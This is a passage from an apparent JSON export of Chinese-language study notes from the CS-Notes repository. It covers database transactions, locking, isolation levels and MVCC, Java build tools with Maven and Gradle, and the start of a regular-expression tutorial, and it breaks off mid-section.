一致性（Consistency）\n\n数据库在事务执行前后都保持一致性状态。在一致性状态下，所有事务对一个数据的读取结果都是相同的。\n\n### 3. 隔离性（Isolation）\n\n一个事务所做的修改在最终提交以前，对其它事务是不可见的。\n\n### 4. 持久性（Durability）\n\n一旦事务提交，则其所做的修改将会永远保存到数据库中。即使系统发生崩溃，事务执行的结果也不能丢失。\n\n使用重做日志来保证持久性。\n\n----\n\n事务的 ACID 特性概念简单，但不是很好理解，主要是因为这几个特性不是一种平级关系：\n\n- 只有满足一致性，事务的执行结果才是正确的。\n- 在无并发的情况下，事务串行执行，隔离性一定能够满足。此时只要能满足原子性，就一定能满足一致性。\n- 在并发的情况下，多个事务并行执行，事务不仅要满足原子性，还需要满足隔离性，才能满足一致性。\n- 事务满足持久化是为了能应对数据库崩溃的情况。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/de2740c2-c1b5-413d-b6d5-9680d3485c02_200.png\" width=\"450px\"> </div><br>\n\n## AUTOCOMMIT\n\nMySQL 默认采用自动提交模式。也就是说，如果不显式使用`START TRANSACTION`语句来开始一个事务，那么每个查询都会被当做一个事务自动提交。\n\n# 二、并发一致性问题\n\n在并发环境下，事务的隔离性很难保证，因此会出现很多并发一致性问题。\n\n## 丢失修改\n\nT<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改，T<sub>1</sub> 先修改，T<sub>2</sub> 随后修改，T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/26a7c9df-22f6-4df4-845a-745c053ab2e5.jpg\" width=\"350\"/> </div><br>\n\n## 读脏数据\n\nT<sub>1</sub> 修改一个数据，T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改，那么 T<sub>2</sub> 读取的数据是脏数据。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/bab0fba6-38e4-45f7-b34d-3edaad43810f.jpg\" width=\"400\"/> </div><br>\n\n## 不可重复读\n\nT<sub>2</sub> 读取一个数据，T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据，此时读取的结果和第一次读取的结果不同。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/43bf0957-0386-4c09-9ad7-e163c5b62559.jpg\" width=\"400\"/> </div><br>\n\n\n## 幻影读\n\nT<sub>1</sub> 读取某个范围的数据，T<sub>2</sub> 在这个范围内插入新的数据，T<sub>1</sub> 再次读取这个范围的数据，此时读取的结果和和第一次读取的结果不同。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/2959e455-e6cb-4461-aeb3-e319fe5c41db.jpg\" width=\"400\"/> </div><br>\n\n\n----\n\n产生并发不一致性问题主要原因是破坏了事务的隔离性，解决方法是通过并发控制来保证隔离性。并发控制可以通过封锁来实现，但是封锁操作需要用户自己控制，相当复杂。数据库管理系统提供了事务的隔离级别，让用户以一种更轻松的方式处理并发一致性问题。\n\n# 三、封锁\n\n## 封锁粒度\n\nMySQL 中提供了两种封锁粒度：行级锁以及表级锁。\n\n应该尽量只锁定需要修改的那部分数据，而不是所有的资源。锁定的数据量越少，发生锁争用的可能就越小，系统的并发程度就越高。\n\n但是加锁需要消耗资源，锁的各种操作（包括获取锁、释放锁、以及检查锁状态）都会增加系统开销。因此封锁粒度越小，系统开销就越大。\n\n在选择封锁粒度时，需要在锁开销和并发程度之间做一个权衡。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg\" width=\"300\"/> </div><br>\n\n## 封锁类型\n\n### 1. 读写锁\n\n- 排它锁（Exclusive），简写为 X 锁，又称写锁。\n- 共享锁（Shared），简写为 S 锁，又称读锁。\n\n有以下两个规定：\n\n- 一个事务对数据对象 A 加了 X 锁，就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。\n- 一个事务对数据对象 A 加了 S 锁，可以对 A 进行读取操作，但是不能进行更新操作。加锁期间其它事务能对 A 加 S 锁，但是不能加 X 锁。\n\n锁的兼容关系如下：\n\n| - | X | S |\n| :--: | :--: | :--: |\n|X|×|×|\n|S|×|√|\n\n### 2. 意向锁\n\n使用意向锁（Intention Locks）可以更容易地支持多粒度封锁。\n\n在存在行级锁和表级锁的情况下，事务 T 想要对表 A 加 X 锁，就需要先检测是否有其它事务对表 A 或者表 A 中的任意一行加了锁，那么就需要对表 A 的每一行都检测一次，这是非常耗时的。\n\n意向锁在原来的 X/S 锁之上引入了 IX/IS，IX/IS 都是表锁，用来表示一个事务想要在表中的某个数据行上加 X 锁或 S 锁。有以下两个规定：\n\n- 一个事务在获得某个数据行对象的 S 锁之前，必须先获得表的 IS 锁或者更强的锁；\n- 一个事务在获得某个数据行对象的 X 锁之前，必须先获得表的 IX 锁。\n\n通过引入意向锁，事务 T 想要对表 A 加 X 锁，只需要先检测是否有其它事务对表 A 加了 X/IX/S/IS 锁，如果加了就表示有其它事务正在使用这个表或者表中某一行的锁，因此事务 T 加 X 锁失败。\n\n各种锁的兼容关系如下：\n\n| - | X | IX | S | IS |\n| :--: | :--: | :--: | :--: | :--: |\n|X     |×    |×    |×   | ×|\n|IX    |×    |√   |×   | √|\n|S     |×    |×    |√  | √|\n|IS    |×    |√  |√  | √|\n\n解释如下：\n\n- 任意 IS/IX 锁之间都是兼容的，因为它们只是表示想要对表加锁，而不是真正加锁；\n- S 锁只与 S 锁和 IS 锁兼容，也就是说事务 T 想要对数据行加 S 锁，其它事务可以已经获得对表或者表中的行的 S 锁。\n\n## 封锁协议\n\n### 1. 三级封锁协议\n\n**一级封锁协议** \n\n事务 T 要修改数据 A 时必须加 X 锁，直到 T 结束才释放锁。\n\n可以解决丢失修改问题，因为不能同时有两个事务对同一个数据进行修改，那么事务的修改就不会被覆盖。\n\n| T<sub>1</sub> | T<sub>2</sub> |\n| :--: | :--: |\n| lock-x(A) | |\n| read A=20 | |\n| | lock-x(A) |\n|  | wait |\n| write A=19 |. |\n| commit |. |\n| unlock-x(A) |. |\n| | obtain |\n| | read A=19 |\n| | write A=21 |\n| | commit |\n| | unlock-x(A)|\n\n**二级封锁协议** \n\n在一级的基础上，要求读取数据 A 时必须加 S 锁，读取完马上释放 S 锁。\n\n可以解决读脏数据问题，因为如果一个事务在对数据 A 进行修改，根据 1 级封锁协议，会加 X 锁，那么就不能再加 S 锁了，也就是不会读入数据。\n\n| T<sub>1</sub> | T<sub>2</sub> |\n| :--: | :--: |\n| lock-x(A) | |\n| read A=20 | |\n| write A=19 | |\n| | lock-s(A) |\n|  | wait |\n| rollback | .|\n| A=20 |. |\n| unlock-x(A) |. |\n| | obtain |\n| | read A=20 |\n| | unlock-s(A)|\n| | commit |\n\n**三级封锁协议** \n\n在二级的基础上，要求读取数据 A 时必须加 S 锁，直到事务结束了才能释放 S 锁。\n\n可以解决不可重复读的问题，因为读 A 时，其它事务不能对 A 加 X 锁，从而避免了在读的期间数据发生改变。\n\n| T<sub>1</sub> | T<sub>2</sub> |\n| :--: | :--: |\n| lock-s(A) | |\n| read A=20 | |\n|  |lock-x(A) |\n| | wait |\n|  read A=20| . |\n| commit | .|\n| unlock-s(A) |. |\n| | obtain |\n| | read A=20 |\n| | write A=19|\n| | commit |\n| | unlock-X(A)|\n\n### 2. 两段锁协议\n\n加锁和解锁分为两个阶段进行。\n\n可串行化调度是指，通过并发控制，使得并发执行的事务结果与某个串行执行的事务结果相同。\n\n事务遵循两段锁协议是保证可串行化调度的充分条件。例如以下操作满足两段锁协议，它是可串行化调度。\n\n```html\nlock-x(A)...lock-s(B)...lock-s(C)...unlock(A)...unlock(C)...unlock(B)\n```\n\n但不是必要条件，例如以下操作不满足两段锁协议，但是它还是可串行化调度。\n\n```html\nlock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(C)...unlock(C)\n```\n\n## MySQL 隐式与显示锁定\n\nMySQL 的 InnoDB 存储引擎采用两段锁协议，会根据隔离级别在需要的时候自动加锁，并且所有的锁都是在同一时刻被释放，这被称为隐式锁定。\n\nInnoDB 也可以使用特定的语句进行显示锁定：\n\n```sql\nSELECT ... LOCK In SHARE MODE;\nSELECT ... FOR UPDATE;\n```\n\n# 四、隔离级别\n\n## 未提交读（READ UNCOMMITTED）\n\n事务中的修改，即使没有提交，对其它事务也是可见的。\n\n## 提交读（READ COMMITTED）\n\n一个事务只能读取已经提交的事务所做的修改。换句话说，一个事务所做的修改在提交之前对其它事务是不可见的。\n\n## 可重复读（REPEATABLE READ）\n\n保证在同一个事务中多次读取同样数据的结果是一样的。\n\n## 可串行化（SERIALIZABLE）\n\n强制事务串行执行。\n\n----\n\n| 隔离级别 | 脏读 | 不可重复读 | 幻影读 | 加锁读 |\n| :---: | :---: | :---:| :---: | :---: |\n| 未提交读 | √ | √ | √ | × |\n| 提交读 | × | √ | √ | × |\n| 可重复读 | × | × | √ | × |\n| 可串行化 | × | × | × | √ |\n\n# 五、多版本并发控制\n\n多版本并发控制（Multi-Version Concurrency Control, MVCC）是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式，用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行，无需使用 MVCC。可串行化隔离级别需要对所有读取的行都加锁，单纯使用 MVCC 无法实现。\n\n## 版本号\n\n- 系统版本号：是一个递增的数字，每开始一个新的事务，系统版本号就会自动递增。\n- 事务版本号：事务开始时的系统版本号。\n\n## 隐藏的列\n\nMVCC 在每行记录后面都保存着两个隐藏的列，用来存储两个版本号：\n\n- 创建版本号：指示创建一个数据行的快照时的系统版本号；\n- 删除版本号：如果该快照的删除版本号大于当前事务版本号表示该快照有效，否则表示该快照已经被删除了。\n\n## Undo 日志\n\nMVCC 使用到的快照存储在 Undo 日志中，该日志通过回滚指针把一个数据行（Record）的所有快照连接起来。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/e41405a8-7c05-4f70-8092-e961e28d3112.jpg\" width=\"\"/> </div><br>\n\n## 实现过程\n\n以下实现过程针对可重复读隔离级别。\n\n当开始新一个事务时，该事务的版本号肯定会大于当前所有数据行快照的创建版本号，理解这一点很关键。\n\n### 1. SELECT\n\n多个事务必须读取到同一个数据行的快照，并且这个快照是距离现在最近的一个有效快照。但是也有例外，如果有一个事务正在修改该数据行，那么它可以读取事务本身所做的修改，而不用和其它事务的读取结果一致。\n\n把没有对一个数据行做修改的事务称为 T，T 所要读取的数据行快照的创建版本号必须小于 T 的版本号，因为如果大于或者等于 T 的版本号，那么表示该数据行快照是其它事务的最新修改，因此不能去读取它。除此之外，T 所要读取的数据行快照的删除版本号必须大于 T 的版本号，因为如果小于等于 T 的版本号，那么表示该数据行快照是已经被删除的，不应该去读取它。\n\n### 2. INSERT\n\n将当前系统版本号作为数据行快照的创建版本号。\n\n### 3. DELETE\n\n将当前系统版本号作为数据行快照的删除版本号。\n\n### 4. UPDATE\n\n将当前系统版本号作为更新前的数据行快照的删除版本号，并将当前系统版本号作为更新后的数据行快照的创建版本号。可以理解为先执行 DELETE 后执行 INSERT。\n\n## 快照读与当前读\n\n### 1. 快照读\n\n使用 MVCC 读取的是快照中的数据，这样可以减少加锁所带来的开销。\n\n```sql\nselect * from table ...;\n```\n\n### 2. 当前读\n\n读取的是最新的数据，需要加锁。以下第一个语句需要加 S 锁，其它都需要加 X 锁。\n\n```sql\nselect * from table where ? lock in share mode;\nselect * from table where ? for update;\ninsert;\nupdate;\ndelete;\n```\n\n# 六、Next-Key Locks\n\nNext-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。\n\nMVCC 不能解决幻读的问题，Next-Key Locks 就是为了解决这个问题而存在的。在可重复读（REPEATABLE READ）隔离级别下，使用 MVCC + Next-Key Locks 可以解决幻读问题。\n\n## Record Locks\n\n锁定一个记录上的索引，而不是记录本身。\n\n如果表没有设置索引，InnoDB 会自动在主键上创建隐藏的聚簇索引，因此 Record Locks 依然可以使用。\n\n## Gap Locks\n\n锁定索引之间的间隙，但是不包含索引本身。例如当一个事务执行以下语句，其它事务就不能在 t.c 中插入 15。\n\n```sql\nSELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;\n```\n\n## Next-Key Locks\n\n它是 Record Locks 和 Gap Locks 的结合，不仅锁定一个记录上的索引，也锁定索引之间的间隙。例如一个索引包含以下值：10, 11, 13, and 20，那么就需要锁定以下区间：\n\n```sql\n(negative infinity, 10]\n(10, 11]\n(11, 13]\n(13, 20]\n(20, positive infinity)\n```\n\n# 七、关系数据库设计理论\n\n## 函数依赖\n\n记 A->B 表示 A 函数决定 B，也可以说 B 函数依赖于 A。\n\n如果 {A1，A2，... ，An} 是关系的一个或多个属性的集合，该集合函数决定了关系的其它所有属性并且是最小的，那么该集合就称为键码。\n\n对于 A->B，如果能找到 A 的真子集 A'，使得 A'-> B，那么 A->B 就是部分函数依赖，否则就是完全函数依赖。\n\n对于 A->B，B->C，则 A->C 是一个传递函数依赖。\n\n## 异常\n\n以下的学生课程关系的函数依赖为 Sno, Cname -> Sname, Sdept, Mname, Grade，键码为 {Sno, Cname}。也就是说，确定学生和课程之后，就能确定其它信息。\n\n| Sno | Sname | Sdept | Mname | Cname | Grade |\n| :---: | :---: | :---: | :---: | :---: |:---:|\n| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |\n| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |\n| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |\n| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |\n\n不符合范式的关系，会产生很多异常，主要有以下四种异常：\n\n- 冗余数据：例如 `学生-2` 出现了两次。\n- 修改异常：修改了一个记录中的信息，但是另一个记录中相同的信息却没有被修改。\n- 删除异常：删除一个信息，那么也会丢失其它信息。例如删除了 `课程-1` 需要删除第一行和第三行，那么 `学生-1` 的信息就会丢失。\n- 插入异常：例如想要插入一个学生的信息，如果这个学生还没选课，那么就无法插入。\n\n## 范式\n\n范式理论是为了解决以上提到四种异常。\n\n高级别范式的依赖于低级别的范式，1NF 是最低级别的范式。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/c2d343f7-604c-4856-9a3c-c71d6f67fecc.png\" width=\"300\"/> </div><br>\n\n### 1. 第一范式 (1NF)\n\n属性不可分。\n\n### 2. 第二范式 (2NF)\n\n每个非主属性完全函数依赖于键码。\n\n可以通过分解来满足。\n\n<font size=4> **分解前** </font><br>\n\n| Sno | Sname | Sdept | Mname | Cname | Grade |\n| :---: | :---: | :---: | :---: | :---: |:---:|\n| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |\n| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |\n| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |\n| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |\n\n以上学生课程关系中，{Sno, Cname} 为键码，有如下函数依赖：\n\n- Sno -> Sname, Sdept\n- Sdept -> Mname\n- Sno, Cname-> Grade\n\nGrade 完全函数依赖于键码，它没有任何冗余数据，每个学生的每门课都有特定的成绩。\n\nSname, Sdept 和 Mname 都部分依赖于键码，当一个学生选修了多门课时，这些数据就会出现多次，造成大量冗余数据。\n\n<font size=4> **分解后** </font><br>\n\n关系-1\n\n| Sno | Sname | Sdept | Mname |\n| :---: | :---: | :---: | :---: |\n| 1 | 学生-1 | 学院-1 | 院长-1 |\n| 2 | 学生-2 | 学院-2 | 院长-2 |\n| 3 | 学生-3 | 学院-2 | 院长-2 |\n\n有以下函数依赖：\n\n- Sno -> Sname, Sdept\n- Sdept -> Mname\n\n关系-2\n\n| Sno | Cname | Grade |\n| :---: | :---: |:---:|\n| 1 | 课程-1 | 90 |\n| 2 | 课程-2 | 80 |\n| 2 | 课程-1 | 100 |\n| 3 | 课程-2 | 95 |\n\n有以下函数依赖：\n\n- Sno, Cname ->  Grade\n\n### 3. 第三范式 (3NF)\n\n非主属性不传递函数依赖于键码。\n\n上面的 关系-1 中存在以下传递函数依赖：\n\n- Sno -> Sdept -> Mname\n\n可以进行以下分解：\n\n关系-11\n\n| Sno | Sname | Sdept |\n| :---: | :---: | :---: |\n| 1 | 学生-1 | 学院-1 |\n| 2 | 学生-2 | 学院-2 |\n| 3 | 学生-3 | 学院-2 |\n\n关系-12\n\n| Sdept | Mname |\n| :---: | :---: |\n| 学院-1 | 院长-1 |\n| 学院-2 | 院长-2 |\n\n# 八、ER 图\n\nEntity-Relationship，有三个组成部分：实体、属性、联系。\n\n用来进行关系型数据库系统的概念设计。\n\n## 实体的三种联系\n\n包含一对一，一对多，多对多三种。\n\n- 如果 A 到 B 是一对多关系，那么画个带箭头的线段指向 B；\n- 如果是一对一，画两个带箭头的线段；\n- 如果是多对多，画两个不带箭头的线段。\n\n下图的 Course 和 Student 是一对多的关系。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/292b4a35-4507-4256-84ff-c218f108ee31.jpg\" width=\"\"/> </div><br>\n\n## 表示出现多次的关系\n\n一个实体在联系出现几次，就要用几条线连接。\n\n下图表示一个课程的先修关系，先修关系出现两个 Course 实体，第一个是先修课程，后一个是后修课程，因此需要用两条线来表示这种关系。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/8b798007-e0fb-420c-b981-ead215692417.jpg\" width=\"\"/> </div><br>\n\n## 联系的多向性\n\n虽然老师可以开设多门课，并且可以教授多名学生，但是对于特定的学生和课程，只有一个老师教授，这就构成了一个三元联系。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/423f2a40-bee1-488e-b460-8e76c48ee560.png\" width=\"\"/> </div><br>\n\n一般只使用二元联系，可以把多元联系转换为二元联系。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/de9b9ea0-1327-4865-93e5-6f805c48bc9e.png\" width=\"\"/> </div><br>\n\n## 表示子类\n\n用一个三角形和两条线来连接类和子类，与子类有关的属性和联系都连到子类上，而与父类和子类都有关的连到父类上。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg\" width=\"\"/> </div><br>\n\n# 参考资料\n\n- AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概念 [M]. 机械工业出版社, 2006.\n- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.\n- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.\n- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)\n- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)\n- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)\n- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)\n- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)\n- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)\n- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)\n- [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)\n- [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/2014/08/20/innodb-lock.html)\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/构建工具.md",
    "content": "<!-- GFM-TOC -->\n* [一、构建工具的作用](#一构建工具的作用)\n* [二、Java 主流构建工具](#二java-主流构建工具)\n* [三、Maven](#三maven)\n* [参考资料](#参考资料)\n<!-- GFM-TOC -->\n\n\n# 一、构建工具的作用\n\n构建工具是用于构建项目的自动化工具，主要包含以下工作：\n\n## 依赖管理\n\n不再需要手动导入 Jar 依赖包，并且可以自动处理依赖关系，也就是说某个依赖如果依赖于其它依赖，构建工具可以帮助我们自动处理这种依赖关系。\n\n## 运行单元测试\n\n不再需要在项目代码中添加测试代码，从而避免了污染项目代码。\n\n## 将源代码转化为可执行文件\n\n包含预处理、编译、汇编、链接等步骤。\n\n## 将可执行文件进行打包\n\n不再需要使用 IDE 将应用程序打包成 Jar 包。\n\n## 发布到生产服务器上\n\n不再需要通过 FTP 将 Jar 包上传到服务器上。\n\n# 二、Java 主流构建工具\n\n主要包括 Ant、Maven 和 Gradle。\n\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/080fc925-5116-4d91-b8dd-9da5a541931d_200.png\" width=\"400px\"> </div><br>\n\nGradle 和 Maven 的区别是，它使用 Groovy 这种特定领域语言（DSL）来管理构建脚本，而不再使用 XML 这种标记性语言。因为项目如果庞大的话，XML 很容易就变得臃肿。\n\n例如要在项目中引入 Junit，Maven 的代码如下：\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n   <modelVersion>4.0.0</modelVersion>\n \n   <groupId>jizg.study.maven.hello</groupId>\n   <artifactId>hello-first</artifactId>\n   <version>0.0.1-SNAPSHOT</version>\n\n   <dependencies>\n          <dependency>\n               <groupId>junit</groupId>\n               <artifactId>junit</artifactId>\n               <version>4.10</version>\n               <scope>test</scope>\n          </dependency>\n   </dependencies>\n</project>\n```\n\n而 Gradle 只需要几行代码：\n\n```java\ndependencies {\n    testCompile \"junit:junit:4.10\"\n}\n```\n\n# 三、Maven\n\n## 概述\n\n提供了项目对象模型（POM）文件来管理项目的构建。\n\n## 仓库\n\n仓库的搜索顺序为：本地仓库、中央仓库、远程仓库。\n\n- 本地仓库用来存储项目的依赖库；\n- 中央仓库是下载依赖库的默认位置；\n- 远程仓库，因为并非所有的库存储在中央仓库，或者中央仓库访问速度很慢，远程仓库是中央仓库的补充。\n\n## POM\n\nPOM 代表项目对象模型，它是一个 XML 文件，保存在项目根目录的 pom.xml 文件中。\n\n```xml\n<dependency>\n    <groupId>junit</groupId>\n    <artifactId>junit</artifactId>\n    <version>4.12</version>\n    <scope>test</scope>\n</dependency>\n```\n\n[groupId, artifactId, version, packaging, classifier] 称为一个项目的坐标，其中 groupId、artifactId、version 必须定义，packaging 可选（默认为 Jar），classifier 不能直接定义的，需要结合插件使用。\n\n\n- groupId：项目组 Id，必须全球唯一；\n- artifactId：项目 Id，即项目名；\n- version：项目版本；\n- packaging：项目打包方式。\n\n## 依赖原则\n\n### 1. 依赖路径最短优先原则\n\n```html\nA -> B -> C -> X(1.0)\nA -> D -> X(2.0)\n```\n由于 X(2.0) 路径最短，所以使用 X(2.0)。\n\n### 2. 声明顺序优先原则\n\n```html\nA -> B -> X(1.0)\nA -> C -> X(2.0)\n```\n\n在 POM 中最先声明的优先，上面的两个依赖如果先声明 B，那么最后使用 X(1.0)。\n\n### 3. 覆写优先原则\n\n子 POM 内声明的依赖优先于父 POM 中声明的依赖。\n\n## 解决依赖冲突\n\n找到 Maven 加载的 Jar 包版本，使用 `mvn dependency:tree` 查看依赖树，根据依赖原则来调整依赖在 POM 文件的声明顺序。\n\n# 参考资料\n\n- [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)\n- [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool)\n- [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html)\n- [maven 2 gradle](http://sagioto.github.io/maven2gradle/)\n- [新一代构建工具 gradle](https://www.imooc.com/learn/833)\n\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/正则表达式.md",
    "content": "<!-- GFM-TOC -->\n* [一、概述](#一概述)\n* [二、匹配单个字符](#二匹配单个字符)\n* [三、匹配一组字符](#三匹配一组字符)\n* [四、使用元字符](#四使用元字符)\n* [五、重复匹配](#五重复匹配)\n* [六、位置匹配](#六位置匹配)\n* [七、使用子表达式](#七使用子表达式)\n* [八、回溯引用](#八回溯引用)\n* [九、前后查找](#九前后查找)\n* [十、嵌入条件](#十嵌入条件)\n* [参考资料](#参考资料)\n<!-- GFM-TOC -->\n\n\n# 一、概述\n\n正则表达式用于文本内容的查找和替换。\n\n正则表达式内置于其它语言或者软件产品中，它本身不是一种语言或者软件。\n\n[正则表达式在线工具](https://regexr.com/)\n\n# 二、匹配单个字符\n\n**.**  可以用来匹配任何的单个字符，但是在绝大多数实现里面，不能匹配换行符；\n\n**.**  是元字符，表示它有特殊的含义，而不是字符本身的含义。如果需要匹配 . ，那么要用 \\ 进行转义，即在 . 前面加上 \\ 。\n\n正则表达式一般是区分大小写的，但是也有些实现是不区分。\n\n**正则表达式** \n\n```\nnam.\n```\n\n**匹配结果** \n\nMy  **name**  is Zheng.\n\n# 三、匹配一组字符\n\n**[ ]**  定义一个字符集合；\n\n0-9、a-z 定义了一个字符区间，区间使用 ASCII 码来确定，字符区间在 [ ] 中使用。\n\n**-**  只有在 [ ] 之间才是元字符，在 [ ] 之外就是一个普通字符；\n\n**^**  在 [ ] 中是取非操作。\n\n**应用** \n\n匹配以 abc 为开头，并且最后一个字母不为数字的字符串：\n\n**正则表达式** \n\n```\nabc[^0-9]\n```\n\n**匹配结果** \n\n1.  **abcd** \n2. abc1\n3. abc2\n\n# 四、使用元字符\n\n## 匹配空白字符\n\n|  元字符 | 说明  |\n| :---: | :---: |\n|  [\\b] | 回退（删除）一个字符   |\n|  \\f |  换页符 |\n|  \\n |  换行符 |\n|  \\r |  回车符 |\n|  \\t |  制表符 |\n|  \\v |  垂直制表符 |\n\n\\r\\n 是 Windows 中的文本行结束标签，在 Unix/Linux 则是 \\n。\n\n\\r\\n\\r\\n 可以匹配 Windows 下的空白行，因为它匹配两个连续的行尾标签，而这正是两条记录之间的空白行；\n\n## 匹配特定的字符类别\n\n### 1. 数字元字符\n\n|  元字符 | 说明  |\n| :---: | :---: |\n| \\d  | 数字字符，等价于 [0-9]  |\n| \\D  | 非数字字符，等价于 [^0-9]   |\n\n### 2. 字母数字元字符\n\n|  元字符 | 说明  |\n| :---: | :---: |\n| \\w  |  大小写字母，下划线和数字，等价于 [a-zA-Z0-9\\_] |\n|  \\W |  对 \\w 取非 |\n\n### 3. 空白字符元字符\n\n| 元字符  | 说明  |\n| :---: | :---: |\n|  \\s | 任何一个空白字符，等价于 [\\f\\n\\r\\t\\v]  |\n| \\S  |  对 \\s 取非  |\n\n\\x 匹配十六进制字符，\\0 匹配八进制，例如 \\x0A 对应 ASCII 字符 10，等价于 \\n。\n\n# 五、重复匹配\n\n-  **\\+**  匹配 1 个或者多个字符\n-  **\\** * 匹配 0 个或者多个\n-  **?**  匹配 0 个或者 1 个\n\n**应用** \n\n匹配邮箱地址。\n\n**正则表达式** \n\n```\n[\\w.]+@\\w+\\.\\w+\n```\n\n[\\w.] 匹配的是字母数字或者 . ，在其后面加上 + ，表示匹配多次。在字符集合 [ ] 里，. 不是元字符；\n\n**匹配结果** \n\n**abc.def<span>@</span>qq.com** \n\n-  **{n}**  匹配 n 个字符\n-  **{m, n}**  匹配 m\\~n 个字符\n-  **{m,}**  至少匹配 m 个字符\n\n\\* 和 + 都是贪婪型元字符，会匹配尽可能多的内容。在后面加 ? 可以转换为懒惰型元字符，例如 \\*?、+? 和 {m, n}? 。\n\n**正则表达式** \n\n```\na.+c\n```\n\n由于 + 是贪婪型的，因此 .+ 会匹配更可能多的内容，所以会把整个 abcabcabc 文本都匹配，而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。\n\n**匹配结果** \n\n**abcabcabc** \n\n# 六、位置匹配\n\n## 